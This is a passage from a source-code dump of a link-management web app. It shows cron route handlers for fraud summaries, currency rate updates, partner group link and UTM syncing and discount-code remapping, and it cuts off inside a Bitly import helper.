`${APP_DOMAIN_WITH_NGROK}/api/cron/fraud/summary`,\n        method: \"POST\",\n        body: {\n          startingAfter,\n        },\n      });\n\n      return logAndRespond(\n        `Scheduled next batch for fraud events summary (startingAfter: ${startingAfter})`,\n      );\n    }\n\n    return logAndRespond(\"Finished sending fraud events summary.\");\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\n// GET/POST /api/cron/fraud/summary\nexport { handler as GET, handler as POST };\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/fx-rates/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { redis } from \"@/lib/upstash\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\n// Cron to update the Foreign Exchange Rates in Redis\n// Runs once every day at 08:00 AM UTC (0 8 * * *)\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const res = await fetch(\"https://api.currencyapi.com/v3/latest\", {\n      headers: {\n        apikey: process.env.CURRENCY_API_KEY || \"\",\n      },\n    });\n\n    const { data } = (await res.json()) as {\n      data: Record<string, { value: number }>;\n    };\n\n    if (!data) {\n      return NextResponse.json({\n        message: \"Failed to fetch FX rates\",\n      });\n    }\n\n    const transformedRates: Record<string, number> = {};\n\n    for (const [ticker, details] of Object.entries(data)) {\n      transformedRates[ticker] = details.value;\n    }\n\n    // // Store FX rates in Redis (with USD as the base currency)\n    await redis.hset(\"fxRates:usd\", transformedRates);\n\n    return NextResponse.json(transformedRates);\n  } catch (error) {\n    await log({\n      message: `Error updating FX rates: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/groups/create-default-links/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { bulkCreateLinks } from \"@/lib/api/links\";\nimport { generatePartnerLink } from \"@/lib/api/partners/generate-partner-link\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  constructURLFromUTMParams,\n  isFulfilled,\n  log,\n} from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nexport const dynamic = \"force-dynamic\";\n\nconst PAGE_SIZE = 100;\nconst MAX_BATCH = 10;\n\nconst schema = z.object({\n  defaultLinkId: z.string(),\n  userId: z.string(),\n  cursor: z.string().optional(),\n});\n\n/**\n * Cron job to create default partner links for all approved partners in a group.\n *\n * For each approved partner in the group, it creates a link based on\n * the group's default link configuration (domain, URL, etc.).\n *\n * It processes up to MAX_BATCH * PAGE_SIZE partners per execution\n * and schedules additional jobs if needed.\n */\n\n// POST /api/cron/groups/create-default-links\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { defaultLinkId, userId, cursor } = schema.parse(JSON.parse(rawBody));\n\n    // Find the default link\n    const defaultLink = await prisma.partnerGroupDefaultLink.findUnique({\n      where: {\n        id: defaultLinkId,\n      },\n      include: {\n        partnerGroup: {\n          include: {\n            utmTemplate: true,\n          },\n        },\n      },\n    });\n\n    if (!defaultLink) {\n      return logAndRespond(\n        `Default link ${defaultLinkId} not found. Skipping...`,\n        {\n          logLevel: \"error\",\n        },\n      );\n    }\n\n    const group = defaultLink.partnerGroup;\n    if (!group) {\n      return logAndRespond(\n        `Group ${defaultLink.groupId} not found. Skipping...`,\n        {\n          logLevel: \"error\",\n        },\n      );\n    }\n\n    console.info(\n      `Creating default links for the partners (defaultLinkId=${defaultLink.id}, groupId=${group.id}).`,\n    );\n\n    // Find the workspace & program\n    const { workspace, ...program } = await prisma.program.findUniqueOrThrow({\n      where: {\n        id: group.programId,\n      },\n      include: {\n        workspace: true,\n      },\n    });\n\n    let hasMore = true;\n    let currentCursor = cursor;\n    let processedBatches = 0;\n\n    while (processedBatches < MAX_BATCH) {\n      // Find partners in the group\n      const programEnrollments = await prisma.programEnrollment.findMany({\n        where: {\n          ...(currentCursor && {\n            id: {\n              gt: currentCursor,\n            },\n          }),\n          groupId: group.id,\n          status: \"approved\",\n        },\n        include: {\n          partner: true,\n        },\n        take: PAGE_SIZE,\n        orderBy: {\n          id: \"asc\",\n        },\n      });\n\n      if (programEnrollments.length === 0) {\n        hasMore = false;\n        break;\n      }\n\n      // Create a new defaultLink for each partner in the group\n      const processedLinks = (\n        await Promise.allSettled(\n          programEnrollments.map(({ partner, ...programEnrollment }) =>\n            generatePartnerLink({\n              workspace: {\n                id: workspace.id,\n                plan: workspace.plan as WorkspaceProps[\"plan\"],\n              },\n              program: {\n                id: program.id,\n                defaultFolderId: program.defaultFolderId,\n              },\n              partner: {\n                id: partner.id,\n                name: partner.name,\n                email: partner.email!,\n                tenantId: programEnrollment.tenantId ?? undefined,\n              },\n              link: {\n                domain: defaultLink.domain,\n                url: constructURLFromUTMParams(\n                  defaultLink.url,\n                  extractUtmParams(group.utmTemplate),\n                ),\n                ...extractUtmParams(group.utmTemplate, { excludeRef: true }),\n                tenantId: programEnrollment.tenantId ?? undefined,\n                partnerGroupDefaultLinkId: defaultLink.id,\n              },\n              userId,\n            }),\n          ),\n        )\n      )\n        .filter(isFulfilled)\n        .map(({ value }) => value);\n\n      const createdLinks = await bulkCreateLinks({\n        links: processedLinks,\n      });\n\n      console.log(\n        `Created ${createdLinks.length} default links for the partners in the group ${group.id}.`,\n      );\n\n      // Update cursor to the last processed record\n      currentCursor = programEnrollments[programEnrollments.length - 1].id;\n      processedBatches++;\n    }\n\n    if (hasMore) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/create-default-links`,\n        method: \"POST\",\n        body: {\n          defaultLinkId,\n          userId,\n          cursor: currentCursor,\n        },\n      });\n    }\n\n    return logAndRespond(`Finished creating default links for the partners.`);\n  } catch (error) {\n    await log({\n      message: `Error creating default links for the partners: ${error.message}.`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/groups/remap-default-links/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { bulkCreateLinks } from \"@/lib/api/links\";\nimport { generatePartnerLink } from \"@/lib/api/partners/generate-partner-link\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { MAX_DEFAULT_LINKS_PER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  isFulfilled,\n  log,\n  prettyPrint,\n} from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { remapPartnerGroupDefaultLinks } from \"./utils\";\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  programId: z.string(),\n  groupId: z.string(),\n  partnerIds: z.array(z.string()).min(1),\n  userId: z.string().nullish(),\n  isGroupDeleted: z.boolean().optional(),\n});\n\n/**\n    Cron job to remap default partner links for all partners in a group.\n    \n    The way it works: for all the partners that are just moved to the group, fetch their links that have partnerGroupDefaultLinkId set and do the following:\n    1. for default links with URLs matching the new group's default links (excluding query params), \n      update the partnerGroupDefaultLinkId field to the new default link IDs (linksToUpdate)\n    2. for the ones that don't match, set partnerGroupDefaultLinkId to null (linksToRemoveMapping)\n    3. for the new group's default links that don't exist in the old group, create them (linksToCreate)\n\n    This runs when:\n    1. partners are moved to a group\n    2. a group is deleted and partners need to be moved to the default group\n */\n\n// POST /api/cron/groups/remap-default-links\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { programId, groupId, partnerIds, userId, isGroupDeleted } =\n      schema.parse(JSON.parse(rawBody));\n\n    const [program, partnerGroup, programEnrollments] = await Promise.all([\n      prisma.program.findUniqueOrThrow({\n        where: {\n          id: programId,\n        },\n        include: {\n          workspace: true,\n        },\n      }),\n      prisma.partnerGroup.findUniqueOrThrow({\n        where: {\n          id: groupId,\n        },\n        include: {\n          utmTemplate: true,\n          partnerGroupDefaultLinks: true,\n        },\n      }),\n      prisma.programEnrollment.findMany({\n        where: {\n          partnerId: {\n            in: partnerIds,\n          },\n          programId,\n        },\n        include: {\n          partner: true,\n          partnerGroup: true,\n          links: {\n            // if this was invoked from the DELETE /groups/[groupId] route, the partnerGroupDefaultLinkId will be null\n            // due to Prisma cascade SetNull on delete – therefore we should take all links and remap them instead.\n            ...(isGroupDeleted\n              ? {}\n              : {\n                  where: {\n                    partnerGroupDefaultLinkId: {\n                      not: null,\n                    },\n                  },\n                }),\n            orderBy: {\n              createdAt: \"asc\",\n            },\n            take: MAX_DEFAULT_LINKS_PER_GROUP, // there can only be up to MAX_DEFAULT_LINKS_PER_GROUP default links per group\n          },\n        },\n      }),\n    ]);\n\n    console.log(\n      `Updating ${programEnrollments.length} partners to be moved to group ${partnerGroup.name} (${partnerGroup.id}) for program ${program.name} (${program.id}).`,\n    );\n\n    const remappedLinks = programEnrollments.map(\n      ({ partnerId, links: partnerLinks }) =>\n        remapPartnerGroupDefaultLinks({\n          partnerId,\n          partnerLinks,\n          newGroupDefaultLinks: partnerGroup.partnerGroupDefaultLinks,\n        }),\n    );\n\n    const linksToCreate = remappedLinks.flatMap(\n      ({ linksToCreate }) => linksToCreate,\n    );\n\n    const linksToUpdate = remappedLinks.flatMap(\n      ({ linksToUpdate }) => linksToUpdate,\n    );\n\n    const linksToRemoveMapping = remappedLinks.flatMap(\n      ({ linksToRemoveMapping }) => linksToRemoveMapping,\n    );\n\n    console.log(\"linksToUpdate\", linksToUpdate);\n    console.log(\"linksToCreate\", linksToCreate);\n    console.log(\"linksToRemoveMapping\", linksToRemoveMapping);\n\n    // Create the links\n    if (linksToCreate.length > 0) {\n      const processedLinks = (\n        await Promise.allSettled(\n          linksToCreate.map((link) => {\n            const programEnrollment = programEnrollments.find(\n              (p) => p.partner.id === link.partnerId,\n            );\n\n            const partner = programEnrollment?.partner;\n\n            return generatePartnerLink({\n              workspace: {\n                id: program.workspace.id,\n                plan: program.workspace.plan as WorkspaceProps[\"plan\"],\n              },\n              program: {\n                id: program.id,\n                defaultFolderId: program.defaultFolderId,\n              },\n              partner: {\n                id: partner?.id,\n                name: partner?.name,\n                email: partner?.email!,\n                tenantId: programEnrollment?.tenantId ?? undefined,\n              },\n              link: {\n                domain: link.domain,\n                url: link.url,\n                tenantId: programEnrollment?.tenantId ?? undefined,\n                partnerGroupDefaultLinkId: link.partnerGroupDefaultLinkId,\n              },\n              userId: userId ?? undefined,\n            });\n          }),\n        )\n      )\n        .filter(isFulfilled)\n        .map(({ value }) => value);\n\n      const createdLinks = await bulkCreateLinks({\n        links: processedLinks,\n      });\n\n      console.log(\n        `Created ${createdLinks.length} links for ${programEnrollments.length} partners that were moved to the group ${partnerGroup.name} (${partnerGroup.id}).`,\n      );\n    }\n\n    // Update the links\n    if (linksToUpdate.length > 0) {\n      const groupedLinksToUpdate = linksToUpdate.reduce(\n        (acc, link) => {\n          acc[link.partnerGroupDefaultLinkId] =\n            acc[link.partnerGroupDefaultLinkId] || [];\n          acc[link.partnerGroupDefaultLinkId].push(link.id);\n          return acc;\n        },\n        {} as Record<string, string[]>,\n      );\n\n      for (const [partnerGroupDefaultLinkId, linkIds] of Object.entries(\n        groupedLinksToUpdate,\n      )) {\n        const updatedLinks = await prisma.link.updateMany({\n          where: {\n            id: {\n              in: linkIds,\n            },\n          },\n          data: {\n            partnerGroupDefaultLinkId: partnerGroupDefaultLinkId,\n          },\n        });\n        console.log(\n          `Updated ${updatedLinks.count} links with partnerGroupDefaultLinkId: ${partnerGroupDefaultLinkId}`,\n        );\n      }\n    }\n\n    if (linksToRemoveMapping.length > 0) {\n      const updatedLinks = await prisma.link.updateMany({\n        where: {\n          id: {\n            in: linksToRemoveMapping,\n          },\n        },\n        data: {\n          partnerGroupDefaultLinkId: null,\n        },\n      });\n      console.log(\n        `Updated ${updatedLinks.count} links with partnerGroupDefaultLinkId: null`,\n      );\n    }\n\n    const syncUtmJob = await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/sync-utm`,\n      body: {\n        groupId,\n        partnerIds,\n      },\n    });\n\n    console.log(\n      `Scheduled sync-utm job for group ${groupId}: ${prettyPrint(syncUtmJob)}`,\n    );\n\n    const remapDiscountCodesJob = await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/remap-discount-codes`,\n      body: {\n        programId,\n        partnerIds,\n        groupId,\n        isGroupDeleted,\n      },\n    });\n\n    console.log(\n      `Scheduled remap-discount-codes job for group ${groupId}: ${prettyPrint(remapDiscountCodesJob)}`,\n    );\n\n    return logAndRespond(`Finished creating default links for the partners.`);\n  } catch (error) {\n    await log({\n      message: `Error creating default links for the partners: ${error.message}.`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/groups/remap-default-links/utils.ts",
    "content": "import { Link, PartnerGroupDefaultLink } from \"@dub/prisma/client\";\nimport { normalizeUrl } from \"@dub/utils\";\n\n// Add a new method that update the partner group default links when their group changes\nexport function remapPartnerGroupDefaultLinks({\n  partnerId,\n  partnerLinks,\n  newGroupDefaultLinks,\n}: {\n  partnerId: string;\n  partnerLinks: Pick<\n    Link,\n    \"id\" | \"url\" | \"partnerId\" | \"partnerGroupDefaultLinkId\"\n  >[];\n  newGroupDefaultLinks: Pick<\n    PartnerGroupDefaultLink,\n    \"id\" | \"domain\" | \"url\"\n  >[];\n}) {\n  const linksToCreate: Array<{\n    domain: string;\n    url: string;\n    partnerId: string;\n    partnerGroupDefaultLinkId: string;\n  }> = [];\n\n  const linksToUpdate: Array<{\n    id: string;\n    partnerGroupDefaultLinkId: string;\n  }> = [];\n\n  const linksToRemoveMapping: string[] = [];\n\n  // Create a map of normalized URLs to new group default links for quick lookup\n  const newDefaultLinksByUrl = new Map<\n    string,\n    Pick<PartnerGroupDefaultLink, \"id\" | \"domain\" | \"url\">\n  >();\n  newGroupDefaultLinks.forEach((defaultLink) => {\n    const normalizedUrl = normalizeUrl(defaultLink.url);\n    newDefaultLinksByUrl.set(normalizedUrl, defaultLink);\n  });\n\n  // Process existing partner links\n  partnerLinks.forEach((link) => {\n    const normalizedLinkUrl = normalizeUrl(link.url);\n    const matchingNewDefault = newDefaultLinksByUrl.get(normalizedLinkUrl);\n\n    if (matchingNewDefault) {\n      // URL matches (excluding url params) - update the mapping\n      linksToUpdate.push({\n        id: link.id,\n        partnerGroupDefaultLinkId: matchingNewDefault.id,\n      });\n      // Remove from the map so we don't create a duplicate\n      newDefaultLinksByUrl.delete(normalizedLinkUrl);\n    } else {\n      // URL doesn't match - remove the mapping\n      linksToRemoveMapping.push(link.id);\n    }\n  });\n\n  // Create new links for any remaining new default links that didn't match existing ones\n  newDefaultLinksByUrl.forEach((defaultLink) => {\n    linksToCreate.push({\n      domain: defaultLink.domain,\n      url: defaultLink.url,\n      partnerId,\n      partnerGroupDefaultLinkId: defaultLink.id,\n    });\n  });\n\n  return {\n    linksToCreate,\n    linksToUpdate,\n    linksToRemoveMapping,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/groups/remap-discount-codes/route.ts",
    "content": "import { createDiscountCode } from \"@/lib/api/discounts/create-discount-code\";\nimport { deleteDiscountCodes } from \"@/lib/api/discounts/delete-discount-code\";\nimport { isDiscountEquivalent } from \"@/lib/api/discounts/is-discount-equivalent\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { DiscountCode } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst inputSchema = z.object({\n  programId: z.string(),\n  groupId: z.string(),\n  partnerIds: z.array(z.string()),\n  isGroupDeleted: z.boolean().optional(),\n});\n\n// POST /api/cron/groups/remap-discount-codes\nexport const POST = withCron(async ({ rawBody }) => {\n  const { programId, partnerIds, groupId, isGroupDeleted } = inputSchema.parse(\n    JSON.parse(rawBody),\n  );\n\n  if (partnerIds.length === 0) {\n    return logAndRespond(\"No partner IDs provided.\");\n  }\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId: {\n        in: partnerIds,\n      },\n      programId,\n    },\n    include: {\n      discountCodes: {\n        include: {\n          discount: true,\n        },\n      },\n    },\n  });\n\n  const oldDiscount = programEnrollments[0]?.discountCodes[0]?.discount;\n\n  if (programEnrollments.length === 0) {\n    return logAndRespond(\"No program enrollments found.\");\n  }\n\n  const group = await prisma.partnerGroup.findUnique({\n    where: {\n      id: groupId,\n    },\n    include: {\n      discount: true,\n    },\n  });\n\n  if (!group) {\n    return logAndRespond(\"Group not found.\");\n  }\n\n  const discountCodes = programEnrollments.flatMap(\n    ({ discountCodes }) => discountCodes,\n  );\n\n  // Find the discount codes to update and remove\n  const discountCodesToUpdate: DiscountCode[] = [];\n  const discountCodesToRemove: DiscountCode[] = [];\n\n  for (const discountCode of discountCodes) {\n    const keepDiscountCode = isDiscountEquivalent(\n      group.discount,\n      discountCode.discount,\n    );\n\n    if (keepDiscountCode) {\n      discountCodesToUpdate.push(discountCode);\n    } else {\n      discountCodesToRemove.push(discountCode);\n    }\n  }\n\n  // Update the discount codes to use the new discount if they are equivalent\n  if (discountCodesToUpdate.length > 0) {\n    console.log(\n      `Found ${discountCodesToUpdate.length} discount codes equivalent to the new group's discount. Updating them.`,\n    );\n\n    await prisma.discountCode.updateMany({\n      where: {\n        id: {\n          in: discountCodesToUpdate.map(({ id }) => id),\n        },\n      },\n      data: {\n        discountId: group.discount?.id,\n      },\n    });\n  }\n\n  // Remove the previous discount codes\n  if (discountCodesToRemove.length > 0) {\n    console.log(\n      `Found ${discountCodesToRemove.length} discount codes not equivalent to the new group's discount. Deleting them.`,\n    );\n\n    await deleteDiscountCodes(discountCodesToRemove);\n  }\n\n  if (group.discount?.autoProvisionEnabledAt) {\n    // Find the partner default links that don't have a discount code yet\n    const links = await prisma.link.findMany({\n      where: {\n        partnerId: {\n          in: partnerIds,\n        },\n        programId,\n        partnerGroupDefaultLinkId: {\n          not: null,\n        },\n        discountCode: {\n          is: null,\n        },\n      },\n      select: {\n        id: true,\n        programEnrollment: {\n          select: {\n            partner: {\n              select: {\n                id: true,\n                name: true,\n              },\n            },\n          },\n        },\n      },\n    });\n\n    if (links.length > 0) {\n      const workspace = await prisma.project.findUniqueOrThrow({\n        where: {\n          defaultProgramId: programId,\n        },\n        select: {\n          stripeConnectId: true,\n        },\n      });\n\n      // Create discount code for the partner default links\n      if (workspace.stripeConnectId) {\n        for (const link of links) {\n          await createDiscountCode({\n            stripeConnectId: workspace.stripeConnectId,\n            partner: link.programEnrollment!.partner,\n            link,\n            discount: group.discount,\n          });\n        }\n      }\n    }\n  }\n\n  // if the group is deleted, need to check if there are any remaining discount codes, if not, delete the discount\n  if (isGroupDeleted && oldDiscount) {\n    const remainingDiscountCodes = await prisma.discountCode.count({\n      where: {\n        discountId: oldDiscount.id,\n      },\n    });\n    if (remainingDiscountCodes === 0) {\n      await prisma.discount.deleteMany({\n        where: {\n          id: oldDiscount.id,\n        },\n      });\n      console.log(\n        `Deleted discount ${oldDiscount.id} because it has no remaining discount codes.`,\n      );\n    }\n  }\n\n  return logAndRespond(\"Finished remapping discount codes for the group.\");\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/groups/sync-utm/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  constructURLFromUTMParams,\n  log,\n} from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nexport const dynamic = \"force-dynamic\";\n\nconst PAGE_SIZE = 50;\n\nconst schema = z.object({\n  groupId: z.string(),\n  partnerIds: z.array(z.string()).optional(),\n  startAfterProgramEnrollmentId: z.string().optional(),\n});\n\n/**\n    Syncs the UTM parameter settings for a given group (whether there is a UTM template or not)\n\n    This job is triggered when:\n    1. a UTM template is created for a group\n    2. a UTM template is updated\n    3. in groups/remap-default-links cron\n */\n\n// POST /api/cron/groups/sync-utm\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { groupId, partnerIds, startAfterProgramEnrollmentId } = schema.parse(\n      JSON.parse(rawBody),\n    );\n\n    // Find the UTM template\n    const group = await prisma.partnerGroup.findUnique({\n      where: {\n        id: groupId,\n      },\n      include: {\n        utmTemplate: true,\n      },\n    });\n\n    if (!group) {\n      return logAndRespond(\n        `Group ${groupId} not found for groups/sync-utm cron. Skipping...`,\n        {\n          logLevel: \"error\",\n        },\n      );\n    }\n\n    const { utmTemplate } = group;\n\n    // Find partners in the group\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        groupId: group.id,\n        ...(partnerIds && {\n          partnerId: {\n            in: partnerIds,\n          },\n        }),\n        ...(startAfterProgramEnrollmentId && {\n          id: {\n            gt: startAfterProgramEnrollmentId,\n          },\n        }),\n      },\n      take: PAGE_SIZE,\n      orderBy: {\n        id: \"asc\",\n      },\n      include: {\n        links: true,\n      },\n    });\n\n    if (programEnrollments.length === 0) {\n      return logAndRespond(`No program enrollments found. Skipping...`);\n    }\n\n    // extract links from program enrollments\n    const linksToUpdate = programEnrollments.flatMap((enrollment) =>\n      enrollment.links.map((link) => link),\n    );\n    // group links by the same url\n    const groupedLinksToUpdate = linksToUpdate.reduce(\n      (acc, link) => {\n        acc[link.url] = acc[link.url] || [];\n        acc[link.url].push(link.id);\n        return acc;\n      },\n      {} as Record<string, string[]>,\n    );\n\n    // Update the UTM for each partner links in the group\n    for (const [url, linkIds] of Object.entries(groupedLinksToUpdate)) {\n      const payload = {\n        url: constructURLFromUTMParams(url, extractUtmParams(utmTemplate)),\n        ...extractUtmParams(utmTemplate, { excludeRef: true }),\n      };\n\n      const updatedLinks = await prisma.link.updateMany({\n        where: {\n          id: {\n            in: linkIds,\n          },\n        },\n        data: payload,\n      });\n      console.log(\n        `Updated ${updatedLinks.count} links with URL: ${payload.url}`,\n      );\n    }\n\n    const redisRes = await linkCache.expireMany(linksToUpdate);\n    console.log(`Updated Redis cache: ${JSON.stringify(redisRes, null, 2)}`);\n\n    if (programEnrollments.length === PAGE_SIZE) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/sync-utm`,\n        method: \"POST\",\n        body: {\n          groupId,\n          partnerIds,\n          startAfterProgramEnrollmentId:\n            programEnrollments[programEnrollments.length - 1].id,\n        },\n      });\n    }\n\n    return logAndRespond(\n      `Finished syncing UTM settings for ${programEnrollments.length} partners in the ${group.name} group (${group.id}).`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error syncing UTM settings: ${error.message}.`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/groups/update-default-links/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { extractUtmParams } from \"@/lib/api/utm/extract-utm-params\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  constructURLFromUTMParams,\n  log,\n} from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nexport const dynamic = \"force-dynamic\";\n\nconst PAGE_SIZE = 100;\nconst MAX_BATCH = 10;\n\nconst schema = z.object({\n  defaultLinkId: z.string(),\n  cursor: z.string().optional(),\n});\n\n/**\n * Cron job to update existing partner links when a group's default link configuration changes.\n *\n * For each link associated with a default link, it updates the domain and URL\n * to match the new default link configuration while preserving UTM parameters.\n *\n * It processes up to MAX_BATCH * PAGE_SIZE links per execution\n * and schedules additional jobs if needed.\n */\n\n// POST /api/cron/groups/update-default-links\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { defaultLinkId, cursor } = schema.parse(JSON.parse(rawBody));\n\n    // Find the default link\n    const defaultLink = await prisma.partnerGroupDefaultLink.findUnique({\n      where: {\n        id: defaultLinkId,\n      },\n      include: {\n        partnerGroup: {\n          include: {\n            utmTemplate: true,\n          },\n        },\n      },\n    });\n\n    if (!defaultLink) {\n      return logAndRespond(\n        `Default link ${defaultLinkId} not found. Skipping...`,\n        {\n          logLevel: \"error\",\n        },\n      );\n    }\n\n    const group = defaultLink.partnerGroup;\n\n    if (!group) {\n      return logAndRespond(\n        `Group ${defaultLink.groupId} not found. Skipping...`,\n        {\n          logLevel: \"error\",\n        },\n      );\n    }\n\n    console.info(\n      `Updating default links for the partners (defaultLinkId=${defaultLink.id}, groupId=${group.id}).`,\n    );\n\n    let hasMore = true;\n    let currentCursor = cursor;\n    let processedBatches = 0;\n\n    while (processedBatches < MAX_BATCH) {\n      const linksToUpdate = await prisma.link.findMany({\n        where: {\n          ...(currentCursor && {\n            id: {\n              gt: currentCursor,\n            },\n          }),\n          partnerGroupDefaultLinkId: defaultLink.id,\n        },\n        take: PAGE_SIZE,\n        orderBy: {\n          id: \"asc\",\n        },\n      });\n\n      if (linksToUpdate.length === 0) {\n        hasMore = false;\n        break;\n      }\n\n      const updatedLinks = await prisma.link.updateMany({\n        where: {\n          id: {\n            in: linksToUpdate.map((link) => link.id),\n          },\n        },\n        data: {\n          url: constructURLFromUTMParams(\n            defaultLink.url,\n            extractUtmParams(group.utmTemplate),\n          ),\n          ...extractUtmParams(group.utmTemplate, { excludeRef: true }),\n        },\n      });\n\n      console.log(\n        `Updated ${updatedLinks.count} links with url=${defaultLink.url} (via defaultLinkId=${defaultLink.id})`,\n      );\n\n      await linkCache.expireMany(linksToUpdate);\n\n      // Update cursor to the last processed record\n      currentCursor = linksToUpdate[linksToUpdate.length - 1].id;\n      processedBatches++;\n    }\n\n    if (hasMore) {\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/groups/update-default-links`,\n        method: \"POST\",\n        body: {\n          defaultLinkId,\n          cursor: currentCursor,\n        },\n      });\n    }\n\n    return logAndRespond(`Finished updating default links for the partners.`);\n  } catch (error) {\n    await log({\n      message: `Error updating default links for the partners: ${error.message}.`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/import/bitly/fetch-utils.ts",
    "content": "/**\n * Utilities for fetching links from Bitly API\n */\n\nimport { sanitizeBitlyJson } from \"./sanitize-json\";\n\ninterface FetchBitlyLinksResult {\n  links: any[];\n  nextSearchAfter: string | null;\n  rateLimited: boolean;\n  batchStats?: {\n    batchCount: number;\n    totalLinks: number;\n  };\n}\n\n/**\n * Fetch links from Bitly with batch support for high rate limit groups\n */\nexport const fetchBitlyLinks = async ({\n  bitlyGroup,\n  bitlyApiKey,\n  searchAfter = null,\n  createdBefore = null,\n}: {\n  bitlyGroup: string;\n  bitlyApiKey: string;\n  searchAfter: string | null;\n  createdBefore: string | null;\n}): Promise<FetchBitlyLinksResult> => {\n  // Use batch fetching for high rate limit group\n  if (bitlyGroup === \"Backg8weUUQ\") {\n    console.log(\"Using batch fetching for high rate limit group\");\n    return fetchBitlyLinksBatch({\n      bitlyGroup,\n      bitlyApiKey,\n      searchAfter,\n      createdBefore,\n    });\n  }\n\n  // Use standard fetching for regular groups\n  return fetchBitlyLinksStandard({\n    bitlyGroup,\n    bitlyApiKey,\n    searchAfter,\n    createdBefore,\n  });\n};\n\n/**\n * Standard method to fetch links from Bitly (single request)\n */\nconst fetchBitlyLinksStandard = async ({\n  bitlyGroup,\n  bitlyApiKey,\n  searchAfter,\n  createdBefore,\n}: {\n  bitlyGroup: string;\n  bitlyApiKey: string;\n  searchAfter: string | null;\n  createdBefore: string | null;\n}): Promise<FetchBitlyLinksResult> => {\n  const response = await fetch(\n    `https://api-ssl.bitly.com/v4/groups/${bitlyGroup}/bitlinks?${new URLSearchParams(\n      {\n        size: \"100\",\n        ...(searchAfter && { search_after: searchAfter }),\n        ...(createdBefore && { created_before: createdBefore }),\n      },\n    )}`,\n    {\n      headers: {\n        \"Content-Type\": \"application/json\",\n        Authorization: `Bearer ${bitlyApiKey}`,\n      },\n    },\n  );\n\n  if (!response.ok && response.status === 429) {\n    return {\n      links: [],\n      nextSearchAfter: searchAfter,\n      rateLimited: true,\n    };\n  }\n\n  // Get response as text first\n  const responseText = await response.text();\n  const sanitizedResponseText = sanitizeBitlyJson(responseText);\n  let data;\n  